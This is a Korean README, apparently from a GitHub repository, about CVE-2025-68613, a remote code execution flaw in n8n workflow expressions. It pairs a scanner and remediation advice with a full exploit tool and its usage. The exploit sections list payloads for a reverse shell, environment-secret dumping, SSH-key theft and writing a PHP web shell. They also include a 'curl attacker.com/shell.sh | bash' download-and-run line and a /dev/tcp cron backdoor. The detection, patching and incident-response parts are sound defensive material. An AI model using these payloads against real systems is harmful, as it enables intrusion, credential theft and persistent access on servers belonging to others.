
공개 PoC + 스캐너 및 CVE-2025-68613에 대한 연구: n8n 워크플로 자동화의 표현식 삽입을 통한 치명적인 RCE (CVSS 10.0). 탐지 도구, 전체 익스플로잇 및 복구 지침을 포함합니다.

CVE-2025-68613은 인기 있는 오픈 소스 워크플로우 자동화 플랫폼인 n8n에서 발견된 심각한 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 인증된 사용자가 서버에서 임의의 코드를 실행할 수 있게 하여, 잠재적으로 시스템 전체가 손상될 수 있습니다.
n8n은 사용자가 다음을 수행할 수 있는 오픈 소스 워크플로우 자동화 플랫폼입니다:
조직은 n8n을 사용하여:
IT 인프라에서의 이러한 핵심 역할로 인해 취약점은 특히 위험하며, 공격자에게 전체 네트워크 및 민감한 데이터에 대한 액세스를 제공할 수 있습니다.
이 저장소에는 취약점 탐지 및 악용 테스트를 위한 즉시 사용 가능한 도구가 포함되어 있습니다:
cve-2025-68613-scanner.py목적: 취약한 n8n 인스턴스를 악용하지 않고 안전하게 탐지
특징:
사용법:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**Output**:
- Exit code 0: 취약하지 않음
- Exit code 1: 버전 확인 불가 (패치되었거나 숨겨졌을 수 있음)
- Exit code 2: 취약한 버전 감지됨
### 2. Nuclei Template: `CVE-2025-68613.yaml`
**Purpose**: 자동 취약점 탐지 및 기본 표현식 평가 테스트
**Features**:
- 유효한 인증 토큰 필요
- 표현식 삽입 기능 테스트
- Node.js 전역 컨텍스트(process.platform) 읽기 시도
- RCE 벡터 검증을 위한 테스트 워크플로 생성
- CVSS 10.0 치명적 심각도 분류
**Usage**:
nuclei -t CVE-2025-68613.yaml -u <target_url> -H "Authorization: Bearer "
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
```
### 3. 전체 익스플로잇: `exploit_cve-2025-68613.py`
**목적**: 여러 공격 페이로드를 포함한 완전한 개념 증명 익스플로잇
**기능**:
- 전체 인증 처리
- 여러 익스플로잇 페이로드:
- **info**: 시스템 정보 수집 (OS, 아키텍처, Node.js 버전, 현재 사용자)
- **cmd**: 임의의 시스템 명령어 실행
- **env**: 모든 환경 변수 추출 (자격 증명, API 키, 비밀 등 노출)
- **read**: 파일시스템에서 민감한 파일 읽기 (SSH 키, 설정 파일 등)
- **write**: 파일시스템에 파일 쓰기 (지속성, 백도어 등)
- **revshell**: 대화형 액세스를 위한 리버스 셸 연결 설정
- 자동 워크플로 정리
- 오류 처리 및 상태 보고
**요구 사항**:
- 유효한 n8n 사용자 자격 증명 (이메일/비밀번호)
- Python 3.6+ 및 requests 라이브러리
- 대상 n8n 인스턴스에 대한 네트워크 액세스
**설치**:```bash
pip install requests
chmod +x exploit_cve-2025-68613.py
```
**사용 예시**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
```
**작동 방식**:
1. 제공된 자격 증명을 사용하여 n8n에 인증
2. 표현식 주입 페이로드가 포함된 악성 워크플로우 생성
3. 페이로드가 `this.constructor.constructor()`를 사용하여 표현식 샌드박스 탈출
4. `process.platform` 또는 기타 Node.js API를 통해 페이로드 실행
5. 워크플로우 실행 결과 검색
6. 테스트 워크플로우를 삭제하여 정리
**종료 코드**:
- 0: 성공적인 익스플로잇
- 1: 인증 또는 익스플로잇 실패
---
## 취약점 기본 사항
### 문제는 무엇인가?
간단히 말하면: **n8n은 사용자가 워크플로우에서 표현식을 작성하여 데이터를 동적으로 처리할 수 있도록 합니다. 그러나 이러한 표현식은 적절한 샌드박싱 없이 평가되어, 공격자가 의도된 실행 컨텍스트를 벗어나 서버에서 임의 코드를 실행할 수 있습니다.**
### 핵심 문제
n8n에서 워크플로우를 생성할 때 "표현식"을 사용하여 데이터를 조작할 수 있습니다. 이러한 표현식은 제한된 환경에서 실행되어야 합니다. 그러나 이 취약점은 이러한 표현식이 기본 시스템에 접근할 수 있음을 보여주며, 공격자가 다음을 수행할 수 있습니다:
1. 시스템 명령 실행
2. 서버의 파일 읽기/쓰기
3. 환경 변수 탈취 (API 키, 비밀번호, 시크릿)
4. 데이터 수정 또는 삭제
5. 장기 접근을 위한 지속성 확보
### 왜 위험한가
- **낮은 진입 장벽**: 사용자 로그인만 필요 (특별한 관리자 권한 불필요)
- **광범위한 적용 가능성**: 많은 조직에서 비기술적 사용자가 워크플로우를 생성하도록 허용
- **높은 영향**: n8n 프로세스의 전체 권한으로 실행
- **데이터 접근**: n8n이 접근할 수 있는 모든 데이터에 접근 가능 (데이터베이스, API, 자격 증명)
- **네트워크 위치**: n8n은 종종 중요 인프라의 중심에 위치하여, 측면 이동 가능
---
## 기술 세부 사항
### 취약점 작동 방식
#### 1단계: 워크플로우 표현식 평가
사용자가 n8n에서 워크플로우를 생성할 때, 표현식을 사용하여 데이터를 처리할 수 있습니다:```
Input: User creates a workflow with an expression
n8n Expression Engine: Evaluates the expression
Expected Output: Processed data
Actual Output (Vulnerable): Expression execution context not isolated from runtime
```
#### 단계 2: 표현식 삽입
공격자는 의도된 샌드박스를 탈출하는 악의적인 표현식을 제작합니다:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
```
#### 3단계: 코드 실행
표현식이 적절한 격리 없이 평가되어 공격자가 다음을 수행할 수 있게 됩니다:
- 시스템 함수 호출
- 셸 명령 실행
- 파일 시스템 접근
- 환경 변수 읽기
### 근본 원인
이 취약점은 표현식 평가 엔진의 **불충분한 샌드박싱**에서 비롯됩니다. n8n 팀은 다음 컨텍스트에서 표현식을 평가했습니다:
- `require()` 또는 유사한 모듈 로딩 함수에 대한 접근 허용
- 시스템 API 접근을 적절히 제한하지 않음
- 표현식 구문을 검증하거나 필터링하지 않음
- 프로토타입 오염 공격을 방지하지 않음
- 실행 환경을 기본 Node.js 런타임으로부터 격리하지 않음
### 코드 실행 경로```
User Input (Workflow Expression)
↓
Expression Parser
↓
Evaluation Engine (VULNERABLE - Not Sandboxed)
↓
Direct Access to Node.js Runtime
↓
System Command Execution / File Access / Credential Theft
```
---
## 영향받는 버전
### 취약 버전 범위
다음 n8n 버전들 **0.211.0**부터 다음 버전까지 취약합니다:
- `0.211.0` → `1.120.3`
- `1.121.0`
### 패치된 버전
취약점은 다음 버전에서 수정되었습니다:
- ✅ `1.120.4` 및 이후 (1.120.x 브랜치)
- ✅ `1.121.1` 및 이후 (1.121.x 브랜치)
- ✅ `1.122.0` 및 모든 최신 버전
### 버전 확인 방법```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
```
---
## 테스트된 버전 및 호환성
### 확인된 작동
- **n8n v1.121.0**: ✅ 완전히 악용 가능 (RCE 확인, 표현식 주입 작동)
- **n8n v0.211.0 - v1.120.3**: ✅ NVD 기준 취약 범위 내 (개별 테스트되지 않음)
### 알려진 문제
- **REST 실행 제한**: `/rest/workflows/{id}/run` 엔드포인트가 v1.121.0에서 HTTP 500 오류 반환
- **해결 방법**: 표현식 주입이 완벽히 작동, RCE 확인됨:
1. UI에서 "테스트 단계" 버튼 수동 클릭 (작동 확인)
2. 워크플로우 출력 캡처
- **이는 API 제한이며 익스플로잇 버그가 아님**
### 테스트되지 않음
- **n8n v0.212.0+**: 문서화된 취약 범위 밖, 패치되었을 가능성 높음 (GitHub 이슈 #1 참조)
- **Windows Server 배포**: Windows 특화 환경에 대한 제한적인 테스트 데이터
### 버전 지원 설명
익스플로잇은 NVD에 문서화된 취약 범위를 대상으로 설계되었습니다:
- **확인된 취약 버전**: 0.211.0 ~ 1.120.3, 추가로 1.121.0
- **패치된 버전**: 1.120.4, 1.121.1, 1.122.0 이상
이 범위를 벗어난 버전을 테스트할 경우 성공이 보장되지 않습니다.
---
## 악용 메커니즘
### 공격자는 무엇을 할 수 있나요?
인증된 사용자(또는 유효한 자격 증명을 가진 공격자)가 이 취약점을 악용하면 다음과 같은 작업을 수행할 수 있습니다:
#### 1. 임의 시스템 명령 실행```javascript
${require('child_process').execSync('whoami').toString()}
// Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()}
// Downloads and executes a shell script
```
#### 2. 서버에서 파일 읽기```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
```
#### 3. 환경 변수 읽기```javascript
${Object.keys(process.env).join(', ')}
// Lists all environment variables
${process.env.DATABASE_PASSWORD}
// Extracts specific secrets
```
#### 4. 악성 파일 작성```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
```
#### 5. 연결된 서비스 접근```javascript
// Access workflow credentials (stored API keys, passwords)
// Modify or view connected databases
// Exfiltrate data from all integrated systems
```
#### 6. 지속성 확보```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
```
### 공격 시나리오 예시
**실제 시나리오: n8n을 사용하는 회사**
1. **공격자가 자격 증명 획득**: 피싱, 자격 증명 재사용 또는 취약한 비밀번호를 통해
2. **n8n에 로그인**: 합법적인 사용자 계정 사용
3. **"무해한" 워크플로우 생성**: 데이터 처리를 위한 것이라고 주장
4. **악성 표현식 주입**: 워크플로우 단계에 익스플로잇 숨김
5. **코드 실행**: n8n 프로세스 권한으로 명령 실행
6. **데이터 유출**: API 키, 데이터베이스 자격 증명, 고객 데이터 탈취
7. **지속성 확보**: 백도어 설치, 새 관리자 계정 생성
8. **측면 이동**: 탈취한 자격 증명을 사용하여 다른 시스템 접근
---
## 실제 영향
### 기밀성 영향 (높음)
- 워크플로우에서 처리하는 민감한 데이터에 대한 접근
- API 키, 데이터베이스 비밀번호, 암호화 키 추출
- 구성 파일, 로그, 시크릿 읽기
- 데이터 도용을 통한 잠재적인 GDPR/규정 준수 위반
### 무결성 영향 (높음)
- 기존 워크플로우를 수정하여 운영 방해
- 데이터를 손상시키는 악성 워크플로우 주입
- 다운스트림 시스템에 영향을 미치는 워크플로우 출력 변경
- 지속적인 접근을 위한 백도어 설치
### 가용성 영향 (높음)
- 중요 워크플로우 삭제로 업무 중단 유발
- 서비스 충돌을 초래하는 시스템 파일 수정
- 악성 자동화를 통한 리소스 고갈
- 시스템 복원을 대가로 요금을 요구하는 랜섬 공격
### 비즈니스 영향 예시
**제조 회사**
- n8n이 주문 처리 및 재고 관리를 자동화
- 공격자가 고객 주문 및 공급업체 정보를 유출
- 워크플로우를 수정하여 고객에게 잘못된 제품 발송
- 결과: 고객 신뢰 상실, 법적 책임, 운영 중단
**금융 서비스**
- n8n이 은행 API 및 결제 처리를 통합
- 공격자가 API 자격 증명 및 인증 토큰을 탈취
- 거래를 리디렉션하거나 사기 기록 생성
- 결과: 규제 제재, 고객 보상, 평판 손상
**의료 기관**
- n8n이 환자 데이터 통합 및 보고를 처리
- 공격자가 보호된 건강 정보(PHI)에 접근
- 의료 기록을 수정하거나 중요 알림 차단
- 결과: HIPAA 위반, 환자 피해, 기관 책임
---
## 탐지 방법
### 방법 1: 버전 탐지 스캐너
**안전하고 익스플로잇하지 않는 탐지 스크립트** (원본 저장소에 포함됨):```bash
python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
```
**출력 예제**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
```
### 방법 2: Nuclei 템플릿 사용
**Nuclei를 이용한 자동 스캔**:```bash
# Single target
nuclei -t CVE-2025-68613.yaml -u http://target:5678
# Multiple targets from file
nuclei -t CVE-2025-68613.yaml -l targets.txt
```
**작동 방식**:
1. 일반적인 n8n 경로에 HTTP 요청을 보냄
2. HTML/헤더에서 버전 메타데이터 추출
3. 존재하는 경우 base64로 인코딩된 구성 디코딩
4. 취약한 범위와 버전 비교
5. 인스턴스가 취약한지 보고
### 방법 3: 수동 배너 그래빙```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
```
### 방법 4: 네트워크 정찰```bash
# Find n8n instances using Shodan
shodan search "n8n" --limit 10
# Use favicon hash detection
nmap -p 5678 --script http-favicon target.com
```
### 침해 지표 (IOCs)
**로그 징후**:
- 워크플로 로그에서 비정상적인 표현식 평가
- 시스템 명령어가 포함된 표현식 오류
- 민감한 파일 접근 (예: /etc/passwd 참조)
- n8n 프로세스에서 예상치 못한 프로세스 생성
**시스템 징후**:
- 서버에 생성된 새로운 사용자 계정
- authorized_keys에 예상치 못한 SSH 키
- 새로운 cron 작업 또는 예약된 작업
- 시스템 파일 수정
- n8n 서버에서의 리버스 셸 연결
---
## 수정 및 완화
### 주요 해결 방법: 즉시 업그레이드
**이것이 취약점에 대한 유일한 완전한 수정 방법입니다.**
#### 1단계: 데이터 백업```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
```
#### 단계 2: n8n 업데이트
**Docker 사용 (권장)**:```bash
# Pull the latest patched version
docker pull n8nio/n8n:1.122.0 # Or later
# Stop current instance
docker stop n8n-container
# Start with new version
docker run -d --name n8n-patched \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.122.0
```
**npm 사용하기**:```bash
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install [email protected]
```
**시스템 패키지 관리자 사용**:```bash
# Debian/Ubuntu
sudo apt update && sudo apt upgrade n8n
# Or manual download
wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz
```
#### 단계 3: 업데이트 확인```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
```
---
### 임시 완화 조치: 업그레이드 중
**중요**: 이는 취약점을 해결하지 않습니다. 업그레이드를 계획하는 동안 임시 조치로만 사용하세요.
#### 1. 워크플로 권한 제한```
n8n Admin Panel → Users & Permissions
├── Disable "User Can Create Workflows" for non-admin users
├── Restrict "User Can Edit Workflows" to trusted administrators only
├── Review existing user roles and remove unnecessary permissions
└── Audit workflow creators for suspicious accounts
```
#### 2. 워크플로우 변경 모니터링```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
```
#### 3. 네트워크 격리```bash
# Restrict n8n network access
sudo ufw default deny incoming
sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network
sudo ufw enable
# Or using iptables
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
```
#### 4. 최소 권한으로 n8n 실행하기```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
```
#### 5. 강력한 인증 활성화```
n8n Admin Panel → Settings → Authentication
├── Enable 2FA for all accounts
├── Enforce strong password policies
├── Review and disable unnecessary service accounts
├── Implement SSO if available
└── Disable any guest/demo accounts
```
#### 6. 컨테이너화 및 격리```bash
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
```
#### 7. 정기 감사```bash
# Monitor for suspicious activities
# Check for new files in n8n directories
find /path/to/n8n -type f -mtime -1
# Monitor process activity
ps aux | grep n8n
netstat -tlnp | grep n8n
# Check for unauthorized SSH keys
cat ~/.ssh/authorized_keys
# Review system logs
journalctl -u n8n -n 100
```
---
## 위험 평가 매트릭스
| 시나리오 | 위험 수준 | 가능성 | 영향 | 우선순위 |
|----------|-----------|--------|----------|----------|
| 패치되지 않은 외부 접속 가능 n8n | 치명적 | 높음 | 완전한 손상 | 🔴 긴급 |
| 패치되지 않은 내부 전용 n8n | 높음 | 중간 | 내부자 위협 위험 | 🟠 높음 |
| 패치된 n8n | 낮음 | 낮음 | 해당 없음 | ✅ 해결됨 |
| 패치되지 않음 + 권한 제한 | 중간 | 중간 | 신뢰된 사용자로 제한됨 | 🟡 중간 |
---
## 손상 시 단계별 복구
### 즉시 조치 (첫 1시간)
1. **시스템 격리**: 네트워크 연결 해제
2. **서비스 중지**: `sudo systemctl stop n8n`
3. **로그 보존**: 삭제 전 모든 로그 백업
4. **팀에 알림**: 보안팀 및 관리자에게 통보
5. **범위 평가**: n8n이 접근한 데이터 확인
### 조사 (첫째 날)
1. **감사 로그 검토**: 의심스러운 활동 확인
2. **네트워크 트래픽 분석**: 데이터 유출 확인
3. **파일 변경 확인**: 백도어 설치 여부 확인
4. **사용자 계정 검토**: 새 계정 또는 수정된 계정 확인
5. **자격 증명 감사**: n8n이 사용하는 모든 API 키 및 비밀번호 초기화
### 문제 해결 (2~7일)
1. **전체 시스템 재구축**: 업데이트만 하지 말고 깨끗한 이미지로 재구축
2. **자격 증명 교체**: 모든 비밀번호, API 키, 토큰 초기화
3. **모든 것에 패치 적용**: 연결된 모든 시스템 업데이트
4. **백업에서 복원**: 손상 이전의 깨끗한 백업 사용
5. **보안 감사**: 전체 보안 평가 수행
### 사후 조치 (2주차 이후)
1. **모니터링 구현**: 지속적인 로깅 및 알람 설정
2. **프로세스 변경**: 침해 대응 절차 업데이트
3. **사용자 교육**: 팀에 보안 모범 사례 교육
4. **취약점 스캐닝**: 유사 문제에 대한 정기 스캔
5. **규정 준수 검토**: GDPR, HIPAA 등 모든 규정 충족 확인
---
## 향후 예방
### n8n을 위한 보안 모범 사례
1. **n8n 최신 상태 유지**
- 가능하면 자동 업데이트 활성화
- n8n 보안 권고 구독
- 프로덕션 전 스테이징에서 패치 테스트
2. **접근 제어**
- 최소 권한 원칙 사용
- 강력한 비밀번호 및 2FA 요구
- 엔터프라이즈 배포 시 SSO 구현
- 정기적인 접근 검토 및 감사
3. **워크플로 관리**
- 모든 워크플로에 의심스러운 로직 검토
- 워크플로에 코드 검토 프로세스 도입
- 중요 워크플로 식별을 위한 명명 규칙 사용
- 워크플로 정기 백업
4. **자격 증명 관리**
- 워크플로에 자격 증명 절대 저장 금지
- 민감 데이터에는 환경 변수 사용
- 자격 증명 정기 교체
- 자격 증명 접근 감사
5. **모니터링 및 로깅**
- 포괄적인 감사 로깅 활성화
- 비정상 활동 모니터링
- 의심스러운 작업에 대한 알람 설정
- 정기적인 로그 검토 및 분석
6. **네트워크 보안**
- n8n을 격리된 네트워크 세그먼트에서 실행
- 필요한 서비스에만 네트워크 접근 제한
- 원격 접근 시 VPN/방화벽 사용
- 네트워크 트래픽 이상 징후 모니터링
7. **침해 대응**
- 침해 대응 계획 수립
- 에스컬레이션 절차 정의
- 정기적인 보안 훈련 실시
- 업데이트된 연락처 목록 유지
---
## 문제 해결
### 문제: "종료 코드 1: 인증 또는 악용 실패"
**일반적인 원인**:
1. **잘못된 자격 증명** (가장 일반적)
- 해결 방법: 먼저 웹 UI 로그인으로 자격 증명 확인
- 시도: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
2. **사용자에게 워크플로 생성 권한 없음**
- 해결 방법: 워크플로 생성 권한이 있는 관리자 또는 사용자 계정 사용
- 확인: 관리자 패널 → 사용자 및 권한
3. **버전이 패치됨** (버전 > 1.121.0)
- 해결 방법: 먼저 스캐너로 버전 확인: `python3 cve-2025-68613-scanner.py -u http://target:5678`
- 예상: 스캐너는 "취약" 보고 (종료 코드 2)
4. **API 구조가 변경됨** (이전/이후 버전에서 다를 수 있음)
- 해결 방법: NVD 권고 확인: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- 문서화된 범위를 벗어난 버전 테스트 시 가장 가능성 높음
5. **네트워크/방화벽 차단**
- 해결 방법: 연결 확인: `curl http://target:5678/`
- 확인: 방화벽 규칙, 프록시 설정, SSL 인증서
### 문제: 스캐너가 오탐지 보고 (잘못된 버전 감지)
**v1.02에서 수정됨**: 스캐너는 이제 단순 정규식 대신 meta 태그에서 base64 디코딩된 Sentry 구성을 사용합니다. 이로 인해 Node.js 버전이 n8n 버전으로 감지되는 오탐지가 제거되었습니다.
**변경 사항**:
- 기본 소스: `<meta name="n8n:config:sentry" content="[BASE64]">` 추출 및 디코딩
- 대체: Sentry 구성을 사용할 수 없는 경우에만 정규식 사용
- 결과: 오탐지 없는 정확한 버전 감지
**v1.02 스캐너 사용법**:```bash
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
```
### 문제: REST 실행 시 500 에러 발생
**이는 익스플로잇의 버그가 아닙니다 - API 제한 사항입니다.**
**설명**:
- `/rest/workflows/{id}/run` 엔드포인트가 n8n v1.121.0에서 HTTP 500을 반환합니다
- 이는 n8n API 설계 제한 사항이며, 익스플로잇 버그가 아닙니다
- 표현식 인젝션은 UI를 통해 여전히 작동합니다
**해결 방법**:
1. 익스플로잇이 악성 표현식으로 워크플로우 생성 ✅ 작동
2. 표현식 평가 및 코드 실행 ✅ 작동 (수동 테스트로 확인됨)
3. UI에서 "테스트 단계" 버튼을 수동으로 클릭하여 표현식 트리거 ✅ 작동
4. 워크플로우 결과에서 출력 읽기 ✅ 작동
**증거**: TryHackMe에서 플래그 획득: `THM{n8n_exposed_workflow}`
---
## 리소스 및 참고 자료
### 공식 소스
- **n8n GitHub 리포지토리**: https://github.com/n8n-io/n8n
- **n8n 보안 권고**: https://github.com/n8n-io/n8n/security/advisories
- **n8n 문서**: https://docs.n8n.io/
### CVE 정보
- **NVD 항목**: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- **CVEDetails**: https://www.cvedetails.com/cve/CVE-2025-68613/
- **CVETodo**: https://cvetodo.com/cve/CVE-2025-68613
### 보안 리소스
- **NIST CWE-913**: https://cwe.mitre.org/data/definitions/913.html
- **OWASP 코드 인젝션**: https://owasp.org/www-community/attacks/Code_Injection
- **OWASP 샌드박스 우회**: https://owasp.org/www-community/attacks/Sandbox_Escape
---
## 요약
**CVE-2025-68613**은 즉각적인 조치가 필요한 치명적인 취약점입니다. 다음과 같은 요소들의 결합이:
- 표현식 인젝션 기능
- 샌드박싱 부재
- 낮은 권한 요구사항
- 넓은 공격 표면 (많은 사용자가 워크플로우 생성)
- IT 인프라에서의 중앙 위치
...이러한 요소들이 이 취약점을 워크플로우 자동화 플랫폼에서 가장 위험한 취약점 중 하나로 만듭니다.
**간단한 해결책**: 즉시 패치된 버전으로 업그레이드하세요. 패치가 제공되는데도 치명적인 RCE에 취약한 상태로 남아 있을 이유는 없습니다.
---
## 문서 버전
|- **버전**: 1.02
|- **생성일**: 2025년 12월 18일
|- **마지막 업데이트**: 2025년 12월 26일
- **상태**: 완료
- **저자**: The StingR / TechSquad Inc.
- **조직**: TechSquad Inc.
---
## 면책 조항
이 문서는 교육 및 공인된 보안 평가 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 소유하지 않은 시스템을 테스트, 평가 또는 접근하기 전에 항상 적절한 권한을 확보하십시오.
---
**⚠️ 기억하세요: 취약한 버전을 실행 중인 경우 즉시 n8n 인스턴스를 업데이트하세요.**